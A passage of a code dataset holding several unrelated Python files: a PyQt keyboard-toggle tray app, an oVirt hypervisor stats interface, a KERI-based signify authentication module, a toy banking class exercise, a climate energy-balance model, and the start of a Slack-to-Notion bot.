okbtn.clicked.connect(self.onOk)\n canbtn = QPushButton(\"Cancel\")\n canbtn.clicked.connect(self.hide)\n\n vbox = QVBoxLayout()\n hbox = QHBoxLayout()\n\n vbox.addStretch(1)\n addWidgets(vbox, okbtn, canbtn)\n\n self.init_table()\n lvbox = QVBoxLayout()\n addWidgets(lvbox, QLabel('选择无线键盘设备:'), self.table)\n addLayouts(hbox, lvbox, vbox)\n\n self.setLayout(hbox)\n # 初始化系统托盘图标\n def init_tray(self):\n tray = QSystemTrayIcon(QIcon('kb.ico'), self)\n menu = QMenu()\n enable = menu.addAction(\"Enable\")\n enable.triggered.connect(self.onEnable)\n disable = menu.addAction(\"Disable\")\n disable.triggered.connect(self.onDisable)\n menu.addSeparator()\n opt = menu.addAction(\"Options\")\n opt.triggered.connect(self.show)\n menu.addSeparator()\n quit = menu.addAction(\"Quit\")\n quit.triggered.connect(self.onQuit)\n tray.setContextMenu(menu)\n tray.show()\n # self.tray_menu = menu\n self.tray = tray\n self.enable = enable\n self.disable = disable\n # 初始化设备列表\n def init_table(self):\n table = QTableWidget(0, 2)\n table.setHorizontalHeaderLabels(['device', 'id'])\n table.setSelectionMode(QAbstractItemView.SingleSelection)\n table.setEditTriggers(QAbstractItemView.NoEditTriggers)\n table.setColumnWidth(0, 200)\n self.table = table\n\n # 更新设备列表\n def update_list(self):\n list = keyb_list()\n self.curlist = list\n self.clear_items()\n i = 0\n for item in list:\n self.table.insertRow(i)\n self.table.setItem(i, 0, QTableWidgetItem(list[i][0]))\n self.table.setItem(i, 1, QTableWidgetItem(list[i][1]))\n i += 1\n # 清空列表\n def clear_items(self):\n table = self.table\n while table.rowCount():\n table.removeRow(0)\n\n def showEvent(self, e):\n self.update_list()\n # 点击关闭按钮时隐藏对话框\n def closeEvent(self, e):\n try:\n if self.quit:\n return\n except Exception:\n self.hide()\n e.ignore() # 不关闭窗口\n def onQuit(self):\n self.quit = True\n self.close()\n\n def onEnable(self):\n device = self.config['device']\n id = get_device_id(device)\n enable_device(id)\n def onDisable(self):\n device = self.config['device']\n id = get_device_id(device)\n disable_device(id)\n\napp = QApplication(sys.argv)\nwin = myDlg()\n\napp.exec()\n\n","repo_name":"luzhlon/script","sub_path":"python/diskeyb.py","file_name":"diskeyb.py","file_ext":"py","file_size_in_byte":5267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38470888587","text":"import logging\n\nfrom .HypervisorInterface import \\\n HypervisorInterface, HypervisorInterfaceError\n\n\nclass VdsmRpcBase(HypervisorInterface):\n def __init__(self):\n self._logger = logging.getLogger('mom.VdsmRpcBase')\n\n def getVmList(self):\n vmIds = []\n vm_list = self.getAllVmStats().values()\n for vm in vm_list:\n if vm['status'] == 'Up':\n vmIds.append(vm['vmId'])\n\n self._logger.debug('VM List: %s', vmIds)\n return vmIds\n\n def getVmMemoryStats(self, uuid):\n vm = self._getVmStats(uuid)\n\n usage = int(vm['memUsage'])\n if usage == 0:\n msg = \"The ovirt-guest-agent is not active\"\n raise HypervisorInterfaceError(msg)\n stats = vm['memoryStats']\n if not stats:\n msg = \"Detailed guest memory stats are not available, \" \\\n \"please upgrade guest agent\"\n raise HypervisorInterfaceError(msg)\n\n ret = {\n 'mem_available': int(stats['mem_total']),\n 'mem_unused': int(stats['mem_unused']),\n 'mem_free': int(stats['mem_free']),\n 'major_fault': int(stats['majflt']),\n 'minor_fault': int(stats['pageflt']) - int(stats['majflt']),\n 'swap_in': int(stats['swap_in']),\n 'swap_out': int(stats['swap_out']),\n\n # get swap size and usage information if available\n 'swap_total': int(stats.get('swap_total', 0)),\n 'swap_usage': int(stats.get('swap_usage', 0))\n }\n\n\n self._logger.debug('Memory stats: %s', ret)\n return ret\n\n def getVmInfo(self, uuid):\n vm = self._getVmStats(uuid)\n\n data = {}\n data['uuid'] = uuid\n if 'pid' in vm:\n data['pid'] = vm['pid']\n\n data['name'] = vm['vmName']\n if None in data.values():\n return None\n return data\n\n def getVmBalloonInfo(self, uuid):\n vm = self._getVmStats(uuid)\n\n balloon_info = vm.get('balloonInfo', {})\n if balloon_info:\n # Make sure the values are numbers, VDSM is using str\n # to avoid xml-rpc issues\n # We are modifying the dict keys inside the loop so\n # iterate over copy of the list with keys, also use\n # list() to make this compatible with Python 3\n for key in list(balloon_info.keys()):\n # Remove keys that are not important to MoM to make sure\n # the HypervisorInterface stays consistent between\n # libvirt and vdsm platforms.\n if key not in (\"balloon_max\", \"balloon_min\", \"balloon_cur\"):\n del balloon_info[key]\n continue\n balloon_info[key] = int(balloon_info[key])\n return balloon_info\n\n def getVmCpuTuneInfo(self, uuid):\n vm = self._getVmStats(uuid)\n\n ret = {}\n # Get user selection for vCPU limit\n vcpuUserLimit = vm.get('vcpuUserLimit', 100)\n ret['vcpu_user_limit'] = vcpuUserLimit\n\n # Get current vcpu tuning info\n vcpuQuota = vm.get('vcpuQuota', 0)\n ret['vcpu_quota'] = vcpuQuota\n vcpuPeriod = vm.get('vcpuPeriod', 0)\n ret['vcpu_period'] = vcpuPeriod\n\n #Get num of vCPUs\n vcpuCount = vm.get('vcpuCount', None)\n if vcpuCount is None:\n return None\n\n ret['vcpu_count'] = vcpuCount\n\n # Make sure the values are numbers, VDSM is using str\n # to avoid xml-rpc issues\n # We are modifying the dict keys inside the loop so\n # iterate over copy of the list with keys, also use\n # list() to make this compatible with Python 3\n for key in list(ret.keys()):\n ret[key] = int(ret[key])\n\n return ret\n\n def setVmCpuTune(self, uuid, quota, period):\n raise NotImplementedError()\n\n def getVmIoTunePolicy(self, vmId):\n raise NotImplementedError()\n\n def getVmIoTune(self, vmId):\n raise NotImplementedError()\n\n def setVmIoTune(self, vmId, tunables):\n raise NotImplementedError()\n\n def setVmBalloonTarget(self, uuid, target):\n raise NotImplementedError()\n\n def ksmTune(self, tuningParams):\n raise NotImplementedError()\n\n def getAllVmStats(self):\n raise NotImplementedError()\n\n def _getVmStats(self, vmId):\n try:\n return self.getAllVmStats()[vmId]\n except KeyError:\n raise HypervisorInterfaceError(\"VM %s does not exist\" % vmId)\n","repo_name":"oVirt/mom","sub_path":"mom/HypervisorInterfaces/vdsmRpcBase.py","file_name":"vdsmRpcBase.py","file_ext":"py","file_size_in_byte":4517,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"62"} +{"seq_id":"40000966058","text":"# -*- encoding: utf-8 -*-\n\"\"\"\nSIGNIFY\nsignify.core.authing module\n\n\"\"\"\nfrom urllib.parse import urlparse\n\nfrom keri import kering\nfrom keri.app import keeping\nfrom keri.core import coring, eventing\n\nfrom keri.end import ending\nfrom signify.signifying import State\n\n\nclass Agent:\n def __init__(self, state):\n self.pre = \"\"\n self.delpre = \"\"\n self.said = \"\"\n self.sn = 0\n self.verfer = None\n\n self.parse(state)\n\n def parse(self, state):\n self.pre = state['i']\n self.sn = coring.Number(num=state['s']).num\n self.delpre = state['di']\n self.said = state['d']\n\n if len(state['k']) != 1:\n raise kering.ValidationError(f\"agent inception event can only have one key\")\n\n self.verfer = coring.Verfer(qb64=state['k'][0])\n\n\nclass Controller:\n def __init__(self, bran, tier, state=None):\n if hasattr(bran, \"decode\"):\n bran = bran.decode(\"utf-8\")\n\n self.bran = coring.MtrDex.Salt_128 + 'A' + bran[:21] # qb64 salt for seed\n self.stem = \"signify:controller\"\n self.tier = tier\n\n self.salter = coring.Salter(qb64=self.bran)\n creator = keeping.SaltyCreator(salt=self.salter.qb64, stem=self.stem, tier=tier)\n\n self.signer = creator.create(ridx=0, tier=tier).pop()\n self.nsigner = creator.create(ridx=0 + 1, tier=tier).pop()\n\n self.keys = [self.signer.verfer.qb64]\n self.ndigs = [coring.Diger(ser=self.nsigner.verfer.qb64b).qb64]\n\n self.serder = self.derive(state)\n\n @property\n def pre(self):\n return self.serder.pre\n\n def event(self):\n siger = self.signer.sign(ser=self.serder.raw, index=0)\n return self.serder, siger\n\n def derive(self, state):\n if state is None or (type(state) is dict and state['ee']['s'] == \"0\"):\n return eventing.incept(keys=self.keys,\n isith=\"1\",\n nsith=\"1\",\n ndigs=self.ndigs,\n code=coring.MtrDex.Blake3_256,\n toad=\"0\",\n wits=[])\n elif type(state) is State:\n return coring.Serder(ked=state.controller['ee'])\n\n def approveDelegation(self, agent):\n seqner = coring.Seqner(sn=agent.sn)\n anchor = dict(i=agent.pre, s=seqner.snh, d=agent.said)\n\n self.serder = eventing.interact(pre=self.serder.pre, dig=self.serder.said, sn=self.serder.sn + 1, data=[anchor])\n return self.serder, [self.signer.sign(self.serder.raw, index=0).qb64]\n\n def rotate(self, nbran, aids):\n \"\"\"\n Rotate passcode involves re-encrypting all saved AID salts for salty keyed AIDs and\n all signing priv keys and next pub/priv keys for randy keyed AIDs. The controller AID salt must be re-encrypted\n too. The old salt must be encrypted and stored externally in case key re-encryption fails halfway\n through the procedure. The presence of an encrypted old key signals that recovery is needed. Otherwise, the\n old key encryption material is deleted and the current passcode is the only one needed. Steps:\n\n 1. Encrypt and save old enc salt\n 2. Rotate local Controller AID and share with Agent\n 3. Retrieve all AIDs\n 4. For each Salty AID, decrypt AID salt with old salt, re-encrypt with new salt, save\n 5. For each Randy AID, decrypt priv signing and next keys and next pub keys, re-encrypt with new passcode, save\n 6. Delete saved encrypted old enc salt\n\n In the event of a crash half way thru a recovery will be needed. That recovery process is triggered with the\n discovery of a saved encrypted old salt. When found, the following steps are needed:\n\n 1. Retrieve and decrypt the saved old salt for enc key\n 2. Ensure the local Conroller AID is rotated to the current new salt\n 3. Retrieve all AIDs\n 4. For each Salty AID, test if the AID salt is encrypted with old salt, re-encrypt as needed.\n 5. For each Randy AID, test if the priv signing and next keys and next pub keys are encrypted with old salt,\n re-encrypt as needed.\n 6. Delete saved encrypted old enc salt\n\n\n Parameters:\n nbran (str): new passcode to use for re-encryption\n aids (list): all AIDs from the agent\n\n \"\"\"\n\n # First we create the new salter and then use it to encrypted the OLD salt\n nbran = coring.MtrDex.Salt_128 + 'A' + nbran[:21] # qb64 salt for seed\n nsalter = coring.Salter(qb64=nbran)\n nsigner = self.salter.signer(transferable=False)\n\n # This is the previous next signer so it will be used to sign the rotation and then have 0 signing authority\n #here\n creator = keeping.SaltyCreator(salt=self.salter.qb64, stem=self.stem, tier=self.tier)\n signer = creator.create(ridx=0 + 1, tier=self.tier).pop()\n\n ncreator = keeping.SaltyCreator(salt=nsalter.qb64, stem=self.stem, tier=self.tier)\n self.signer = ncreator.create(ridx=0, tier=self.tier).pop()\n self.nsigner = ncreator.create(ridx=0 + 1, tier=self.tier).pop()\n\n self.keys = [self.signer.verfer.qb64, signer.verfer.qb64]\n self.ndigs = [coring.Diger(ser=self.nsigner.verfer.qb64b).qb64]\n\n # Now rotate the controller AID to authenticate the passcode rotation\n rot = eventing.rotate(pre=self.serder.pre,\n keys=self.keys,\n dig=self.serder.ked['d'],\n isith=[\"1\", \"0\"],\n nsith=\"1\",\n ndigs=self.ndigs)\n\n sigs = [signer.sign(ser=rot.raw, index=1, ondex=0).qb64, self.signer.sign(ser=rot.raw, index=0).qb64]\n\n encrypter = coring.Encrypter(verkey=nsigner.verfer.qb64) # encrypter for new salt\n decrypter = coring.Decrypter(seed=nsigner.qb64) # decrypter with old salt\n\n # First encrypt and save old Salt in case we need a recovery\n sxlt = encrypter.encrypt(matter=coring.Matter(qb64b=self.bran)).qb64\n\n data = dict(\n rot=rot.ked,\n sigs=sigs,\n sxlt=sxlt,\n )\n\n # Not recrypt all salts and saved keys after verifying they are decrypting correctly\n keys = dict()\n for aid in aids:\n pre = aid[\"prefix\"]\n if \"salty\" in aid:\n salty = aid[\"salty\"]\n cipher = coring.Cipher(qb64=salty[\"sxlt\"])\n dnxt = decrypter.decrypt(cipher=cipher).qb64\n\n # Now we have the AID salt, use it to verify against the current public keys\n acreator = keeping.SaltyCreator(dnxt, stem=salty[\"stem\"], tier=salty[\"tier\"])\n signers = acreator.create(codes=salty[\"icodes\"], pidx=salty[\"pidx\"], kidx=salty[\"kidx\"],\n transferable=salty[\"transferable\"])\n pubs = aid[\"state\"][\"k\"]\n if pubs != [signer.verfer.qb64 for signer in signers]:\n raise kering.ValidationError(f\"unable to rotate, validation of salt to public keys {pubs} failed\")\n\n asxlt = encrypter.encrypt(matter=coring.Matter(qb64=dnxt)).qb64\n keys[pre] = dict(\n sxlt=asxlt\n )\n\n elif \"randy\" in aid:\n randy = aid[\"randy\"]\n prxs = randy[\"prxs\"]\n nxts = randy[\"nxts\"]\n\n nprxs = []\n signers = []\n for prx in prxs:\n cipher = coring.Cipher(qb64=prx)\n dsigner = decrypter.decrypt(cipher=cipher, transferable=True)\n signers.append(dsigner)\n nprxs.append(encrypter.encrypt(matter=coring.Matter(qb64=dsigner.qb64)).qb64)\n\n pubs = aid[\"state\"][\"k\"]\n if pubs != [signer.verfer.qb64 for signer in signers]:\n raise kering.ValidationError(f\"unable to rotate, validation of encrypted public keys {pubs} failed\")\n\n nnxts = []\n for nxt in nxts:\n nnxts.append(self.recrypt(nxt, decrypter, encrypter))\n\n keys[pre] = dict(prxs=nprxs, nxts=nxts)\n\n data[\"keys\"] = keys\n return data\n\n @staticmethod\n def recrypt(enc, decrypter, encrypter):\n cipher = coring.Cipher(qb64=enc)\n dnxt = decrypter.decrypt(cipher=cipher).qb64\n return encrypter.encrypt(matter=coring.Matter(qb64=dnxt)).qb64\n\n\nclass Authenticater:\n DefaultFields = [\"@method\",\n \"@path\",\n \"Content-Length\",\n \"Signify-Resource\",\n \"Signify-Timestamp\"]\n\n def __init__(self, agent: Agent, ctrl: Controller):\n \"\"\" Create Agent Authenticator for verifying requests and signing responses\n\n Parameters:\n agent(Hab): habitat of Agent for signing responses\n ctrl(Controller): qb64 controller signing AID\n\n Returns:\n Authenicator: the configured habery\n\n \"\"\"\n self.agent = agent\n self.ctrl = ctrl\n\n def verify(self, rep, **kwargs):\n url = urlparse(rep.request.url)\n resource = rep.headers[\"SIGNIFY-RESOURCE\"]\n if resource != self.agent.pre or not self.verifysig(rep.headers, rep.request.method, url.path):\n raise kering.AuthNError(\"No valid signature from agent on response.\")\n\n def verifysig(self, headers, method, path):\n headers = headers\n if \"SIGNATURE-INPUT\" not in headers:\n return False\n\n siginput = headers[\"SIGNATURE-INPUT\"]\n\n if \"SIGNATURE\" not in headers:\n return False\n\n signature = headers[\"SIGNATURE\"]\n\n inputs = ending.desiginput(siginput.encode(\"utf-8\"))\n inputs = [i for i in inputs if i.name == \"signify\"]\n\n if not inputs:\n return False\n\n for inputage in inputs:\n items = []\n for field in inputage.fields:\n if field.startswith(\"@\"):\n if field == \"@method\":\n items.append(f'\"{field}\": {method}')\n elif field == \"@path\":\n items.append(f'\"{field}\": {path}')\n\n else:\n key = field.upper()\n field = field.lower()\n if key not in headers:\n continue\n\n value = ending.normalize(headers[key])\n items.append(f'\"{field}\": {value}')\n\n values = [f\"({' '.join(inputage.fields)})\", f\"created={inputage.created}\"]\n if inputage.expires is not None:\n values.append(f\"expires={inputage.expires}\")\n if inputage.nonce is not None:\n values.append(f\"nonce={inputage.nonce}\")\n if inputage.keyid is not None:\n values.append(f\"keyid={inputage.keyid}\")\n if inputage.context is not None:\n values.append(f\"context={inputage.context}\")\n if inputage.alg is not None:\n values.append(f\"alg={inputage.alg}\")\n\n params = ';'.join(values)\n\n items.append(f'\"@signature-params: {params}\"')\n ser = \"\\n\".join(items).encode(\"utf-8\")\n\n signages = ending.designature(signature)\n cig = signages[0].markers[inputage.name]\n if not self.agent.verfer.verify(sig=cig.raw, ser=ser):\n raise kering.AuthNError(f\"Signature for {inputage} invalid\")\n\n return True\n\n def sign(self, headers, method, path, fields=None):\n \"\"\" Generate and add Signature Input and Signature fields to headers\n\n Parameters:\n headers (dict): HTTP header to sign\n method (str): HTTP method name of request/response\n path (str): HTTP Query path of request/response\n fields (Optional[list]): Optional list of Signature Input fields to sign.\n\n Returns:\n headers (dict): Modified headers with new Signature and Signature Input fields\n\n \"\"\"\n\n if fields is None:\n fields = self.DefaultFields\n\n header, qsig = ending.siginput(\"signify\", method, path, headers, fields=fields, signers=[self.ctrl.signer],\n alg=\"ed25519\", keyid=self.ctrl.pre)\n for key, val in header.items():\n headers[key] = val\n\n signage = ending.Signage(markers=dict(signify=qsig), indexed=False, signer=None, ordinal=None, digest=None,\n kind=None)\n for key, val in ending.signature([signage]).items():\n headers[key] = val\n\n return headers\n","repo_name":"WebOfTrust/signifypy","sub_path":"src/signify/core/authing.py","file_name":"authing.py","file_ext":"py","file_size_in_byte":12821,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"29521234465","text":"class BankAccount:\r\n def __init__(self, account_number, initial_balance):\r\n self.account_number = account_number\r\n self.balance = initial_balance\r\n self.transaction_history = []\r\n\r\n def deposit(self, amount):\r\n self.balance += amount\r\n self.transaction_history.append(f\"Deposited: {amount}\")\r\n\r\n def withdraw(self, amount):\r\n if self.balance >= amount:\r\n self.balance -= amount\r\n self.transaction_history.append(f\"Withdrawn: {amount}\")\r\n else:\r\n print(\"Insufficient funds!\")\r\n\r\n def transfer(self, amount, recipient_account):\r\n if self.balance >= amount:\r\n self.balance -= amount\r\n recipient_account.deposit(amount)\r\n self.transaction_history.append(f\"Transferred: {amount} to account {recipient_account.account_number}\")\r\n else:\r\n print(\"Insufficient funds!\")\r\n\r\n def check_balance(self):\r\n return self.balance\r\n\r\n def get_transaction_history(self):\r\n return self.transaction_history\r\n\r\n\r\nclass Bank:\r\n def __init__(self):\r\n self.accounts = {}\r\n self.total_balance = 0\r\n self.total_loan_amount = 0\r\n self.loan_feature_enabled = True\r\n\r\n def create_account(self, account_number, initial_balance):\r\n if account_number in self.accounts:\r\n print(\"Account already exists!\")\r\n else:\r\n self.accounts[account_number] = BankAccount(account_number, initial_balance)\r\n self.total_balance += initial_balance\r\n print(\"Account created successfully!\")\r\n\r\n def get_account(self, account_number):\r\n return self.accounts.get(account_number)\r\n\r\n def loan(self, account_number):\r\n if not self.loan_feature_enabled:\r\n print(\"Loan feature is currently disabled by the admin.\")\r\n return\r\n\r\n account = self.get_account(account_number)\r\n if account:\r\n loan_amount = account.balance * 2\r\n account.deposit(loan_amount)\r\n self.total_loan_amount += loan_amount\r\n print(f\"Loan of {loan_amount} credited to account {account_number}\")\r\n else:\r\n print(\"Account not found!\")\r\n\r\n def print_transaction_history(self, account_number):\r\n account = self.get_account(account_number)\r\n if account:\r\n history = account.get_transaction_history()\r\n print(f\"Transaction history for account {account_number}:\")\r\n for transaction in history:\r\n print(transaction)\r\n else:\r\n print(\"Account not found!\")\r\n\r\n def get_total_balance(self):\r\n return self.total_balance\r\n\r\n def get_total_loan_amount(self):\r\n return self.total_loan_amount\r\n\r\n def enable_loan_feature(self):\r\n self.loan_feature_enabled = True\r\n print(\"Loan feature enabled.\")\r\n\r\n def disable_loan_feature(self):\r\n self.loan_feature_enabled = False\r\n print(\"Loan feature disabled.\")\r\n\r\n\r\nclass Admin:\r\n def __init__(self, bank):\r\n self.bank = bank\r\n\r\n def create_account(self, account_number, initial_balance):\r\n self.bank.create_account(account_number, initial_balance)\r\n\r\n def check_total_balance(self):\r\n return self.bank.get_total_balance()\r\n\r\n def check_total_loan_amount(self):\r\n return self.bank.get_total_loan_amount()\r\n\r\n def enable_loan_feature(self):\r\n self.bank.enable_loan_feature()\r\n\r\n def disable_loan_feature(self):\r\n self.bank.disable_loan_feature()\r\n\r\n\r\nclass User:\r\n def __init__(self, bank, account_number):\r\n self.bank = bank\r\n self.account_number = account_number\r\n\r\n def deposit(self, amount):\r\n account = self.bank.get_account(self.account_number)\r\n if account:\r\n account.deposit(amount)\r\n print(f\"Amount {amount} deposited successfully.\")\r\n else:\r\n print(\"Account not found!\")\r\n\r\n def withdraw(self, amount):\r\n account = self.bank.get_account(self.account_number)\r\n if account:\r\n if account.balance >= amount:\r\n account.withdraw(amount)\r\n print(f\"Amount {amount} withdrawn successfully.\")\r\n else:\r\n print(\"Insufficient funds!\")\r\n else:\r\n print(\"Account not found!\")\r\n\r\n def transfer(self, amount, recipient_account_number):\r\n account = self.bank.get_account(self.account_number)\r\n recipient_account = self.bank.get_account(recipient_account_number)\r\n if account and recipient_account:\r\n if account.balance >= amount:\r\n account.transfer(amount, recipient_account)\r\n print(f\"Amount {amount} transferred to account {recipient_account_number} successfully.\")\r\n else:\r\n print(\"Insufficient funds!\")\r\n else:\r\n print(\"One or both accounts not found!\")\r\n\r\n def check_balance(self):\r\n account = self.bank.get_account(self.account_number)\r\n if account:\r\n return account.check_balance()\r\n else:\r\n print(\"Account not found!\")\r\n\r\n def get_transaction_history(self):\r\n account = self.bank.get_account(self.account_number)\r\n if account:\r\n return account.get_transaction_history()\r\n else:\r\n print(\"Account not found!\")\r\n\r\n\r\n# Example usage:\r\n\r\nbank = Bank()\r\nadmin = Admin(bank)\r\n\r\n# Create accounts (Admin)\r\nadmin.create_account(\"123456789\", 1000)\r\nadmin.create_account(\"987654321\", 5000)\r\n\r\n# Deposit money (User)\r\nuser1 = User(bank, \"123456789\")\r\nuser1.deposit(2000)\r\n\r\n# Withdraw money (User)\r\nuser1.withdraw(500)\r\nuser1.withdraw(3000) # Insufficient funds!\r\n\r\n# Transfer money (User)\r\nuser2 = User(bank, \"987654321\")\r\nuser1.transfer(800, user2.account_number)\r\n\r\n# Check balance (User)\r\nprint(\"User 1 balance:\", user1.check_balance())\r\nprint(\"User 2 balance:\", user2.check_balance())\r\n\r\n# Get transaction history (User)\r\nprint(\"User 1 transaction history:\", user1.get_transaction_history())\r\n\r\n# Take a loan (User)\r\nbank.loan(user1.account_number)\r\nprint(\"User 1 balance after loan:\", user1.check_balance())\r\n\r\n# Admin functionalities\r\nprint(\"Total bank balance:\", admin.check_total_balance())\r\nprint(\"Total loan amount:\", admin.check_total_loan_amount())\r\n\r\nadmin.disable_loan_feature()\r\nbank.loan(user2.account_number) # Loan feature disabled\r\n\r\n\r\n# admin.enable_loan_feature()\r\n# bank.loan(user1.account_number) # enable loan feature","repo_name":"Ferdausi12/Exam","sub_path":"Oop Exam/User.py","file_name":"User.py","file_ext":"py","file_size_in_byte":6520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"13473068453","text":"import matplotlib.pyplot as plt\nimport climlab\nimport numpy as np\n\n# Climate models\n\nclass Constants:\n # Define observed real-world constants\n INSOLATION_OBSERVED = 341.3 # area-averaged incoming solar radiation in W/m2\n OLR_OBSERVED = 238.5 # Outgoing longwave radiation in W/m2\n SIGMA = 5.67E-8 # Stefan-Boltzmann constant\n T_OBSERVED = 288. # global average surface temperature\n TAU = OLR_OBSERVED / SIGMA / T_OBSERVED ** 4 # tuned value of transmissivity to model greenhouse model\n F_REFLECTED = 101.9 # reflected shortwave flux in W/m2\n ALPHA = F_REFLECTED / INSOLATION_OBSERVED # global albedo\n ASR_OBSERVED = INSOLATION_OBSERVED - F_REFLECTED # Absorbed shortwave radiation in W/m2\n\n\nclass History:\n # Stores all the information about the output data from running the climate simulation\n def __init__(self):\n self.temperature = [] # in degrees Celsius\n self.time = [] # in days\n\n def record(self, temperature, current_time):\n # Stores the data of one timestep\n # params state: current temperature in degrees C\n # params current_time: current time elapsed from start given in years\n self.temperature.append(temperature)\n self.time.append(current_time)\n\n def record_all(self, temperatures, times):\n # Stores the temperature and year data for all supplied timesteps\n self.temperature.extend(temperatures)\n self.time.extend(times)\n\n def visualise(self):\n # Plots temperature vs time graph (for debugging purposes)\n plt.plot(self.time, self.temperature)\n plt.xlabel(\"Time (years)\")\n plt.ylabel(\"Temperature ($^\\circ$C)\")\n plt.show()\n\n\nclass Simulation:\n # Base class for the climate models to store basic information about the simulation\n def __init__(self, name, initial_temperature):\n self.name = name\n self.initial_temperature = initial_temperature\n self.history = History()\n\n def show_history(self):\n # Visualise temperature vs time so far\n self.history.visualise()\n\n def get_temperature_time_data(self):\n # Dictionary of temperature and time for ease of converting to response object\n return {\"temperatures\": self.history.temperature, \"times\": self.history.time}\n\n\nclass ZeroDimensionalEnergyBalanceModel(Simulation):\n # 0-dimensional energy balance model\n def __init__(self, name, initial_temperature, insolation, albedo, tau):\n # params name: name of simulation\n # params initial_temperature: temperature in degrees C\n super().__init__(name, initial_temperature)\n self.insolation = insolation\n self.albedo = albedo\n self.tau = tau\n\n def run(self):\n # Sets up climate model and runs it in accordance with time\n # Run time is currently fixed at 50 years / 600 months\n # Timestep is currently fixed at 1 month\n delta_t = 60. * 60. * 24. * 30. # time step of 1 month\n time_steps = 600 # 600 iterations\n\n # Initialising components of environment and defining the interactions between\n # Create zero-dimensional domain\n state = climlab.surface_state(\n num_lat=1, # a single point\n water_depth=100., # 100 meters slab of water (sets the heat capacity)\n T0=self.initial_temperature, # global mean initial temperature\n T2=0, # no gradient in initial temperature\n )\n\n # Longwave radiation process (outgoing)\n olr = climlab.radiation.Boltzmann(name='OutgoingLongwave',\n state=state,\n tau=self.tau, # transmissivity of atmosphere\n eps=1., # emissivity of surface of planet\n timestep=delta_t)\n\n # Shortwave radiation process (incoming)\n asr = climlab.radiation.SimpleAbsorbedShortwave(name='AbsorbedShortwave',\n state=state,\n insolation=self.insolation,\n albedo=self.albedo,\n timestep=delta_t)\n\n # Couple time-dependent processes to form EBM\n ebm = climlab.couple([olr, asr])\n ebm.name = self.name\n\n # Running the simulation\n # step forward in time to run climate model\n self.history.record(self.initial_temperature, 0) # Record initial values\n for step_num in range(1, time_steps+1):\n ebm.step_forward()\n # Only record every year\n if step_num % 12 == 0:\n current_temperature = state.Ts[0][0]\n current_year = step_num * delta_t // (60.0 * 60.0 * 24 * 30 * 12) # Convert from seconds to years\n self.history.record(current_temperature, current_year)\n\n\nclass CO2_EBM_model(Simulation):\n # Simple, realistic zero-dimensional EBM that changes due to radiative forcing of CO2\n\n def __init__(self, name, initial_temperature, co2_concentrations, tau_co2_sensitivity=0.016, albedo_temp_sensitivity=0.08):\n super().__init__(name=name, initial_temperature=initial_temperature)\n self.co2_concentrations = co2_concentrations # parts per million by volume per year (starting from 2005)\n\n self.insolation = Constants.INSOLATION_OBSERVED\n self.albedo = Constants.ALPHA\n self.tau = Constants.TAU\n self.current_year = 2005\n self.delta_t = 60. * 60. * 24. * 365. # one year expressed in seconds\n # Calculate heat capacity of the zero dimensional state\n heat = 4E3 # Specific heat of water in J/kg/K\n density = 1E3 # Density of water in kg/m3\n depth = 100. # Depth of water in m\n self.state_heat_capacity = heat * density * depth\n self.tau_co2_sensitivity = tau_co2_sensitivity # Parameter for how CO2 change affects transmissivity\n self.albedo_temp_sensitivity = albedo_temp_sensitivity # Parameter for how temperature change affects albedo\n\n def step_forward(self, current_temperature, current_co2, previous_co2):\n # Returns new temperature in CELSIUS after delta_t\n # Calculate incoming solar radiation\n ASR = (1 - self.albedo) * self.insolation\n # Calculate outgoing solar radiation\n # Must convert celsius to Kelvin\n OLR = self.tau * Constants.SIGMA * (current_temperature + 273.15) ** 4\n # Calculate forcing due to CO2\n forcing = 5.35 * np.log(current_co2 / 278.0)\n # Calculate net radiation\n net_radiation = ASR - OLR + forcing\n # Calculate change in temperature\n temperature_change = self.delta_t * net_radiation / self.state_heat_capacity\n # FEEDBACK SYSTEMS\n # Temperature increases --> Albedo decreases\n temperature_percentage_increase = temperature_change / current_temperature\n self.albedo = self.albedo * (1 - temperature_percentage_increase * self.albedo_temp_sensitivity)\n # Carbon Dioxide increases --> Transmissivity decreases\n co2_percentage_increase = (current_co2 - previous_co2) / previous_co2\n self.tau = self.tau * (1 - co2_percentage_increase * self.tau_co2_sensitivity)\n # Return new temperature\n return current_temperature + temperature_change\n\n def run(self):\n # Set starting variables\n current_temperature = self.initial_temperature # Convert to Kelvin\n previous_co2 = self.co2_concentrations[0]\n\n # Record initial variables in Celsius\n self.history.record(current_temperature, self.current_year)\n\n for current_co2 in self.co2_concentrations:\n # Take step forward\n current_temperature = self.step_forward(current_temperature, current_co2, previous_co2) # Update temperature\n self.current_year += 1 # Update year\n previous_co2 = current_co2 # Update previous co2 variable\n # Record damta\n self.history.record(current_temperature, self.current_year)\n","repo_name":"doggie007/ALevelProjectBackend","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"12381245871","text":"import dotenv\nimport os\n\nfrom notion_api import NotionAPI\nfrom slack_api import SlackAPI, blocks\nfrom slack_bolt import App\nfrom slack_bolt.adapter.socket_mode import SocketModeHandler\n\ndotenv_file = dotenv.find_dotenv()\ndotenv.load_dotenv(dotenv_file)\n\napp = App(token=os.environ.get(\"SLACK_BOT_TOKEN\"))\nslack_client = SlackAPI(token=os.environ[\"SLACK_BOT_TOKEN\"])\nnotion_client = NotionAPI(auth=os.environ[\"NOTION_SECRET_KEY\"])\n\n\n@app.event(\"app_mention\")\ndef say_hello_to_use(event, say):\n say(f\"안녕하세요, <@{event['user']}> 님!\")\n say(\n blocks=blocks,\n text=\"오운완\",\n )\n\n\n@app.action(\"button-action\")\ndef add_register_button_action(ack, client, body):\n ack()\n\n new_block = {\n \"type\": \"input\",\n \"element\": {\n \"type\": \"plain_text_input\",\n \"action_id\": \"plain_text_input-action\",\n },\n \"label\": {\n \"type\": \"plain_text\",\n \"text\": \" \",\n \"emoji\": True,\n }\n }\n blocks.insert(-1, new_block)\n\n client.chat_update(\n channel=body[\"channel\"][\"id\"],\n ts=body[\"message\"][\"ts\"],\n blocks=blocks,\n as_user=True,\n )\n\n\n@app.action(\"button-action-2\")\ndef post_message_content_to_notion(ack, body, say):\n ack()\n\n name_list = []\n count_list = []\n error_cnt = 0\n\n if 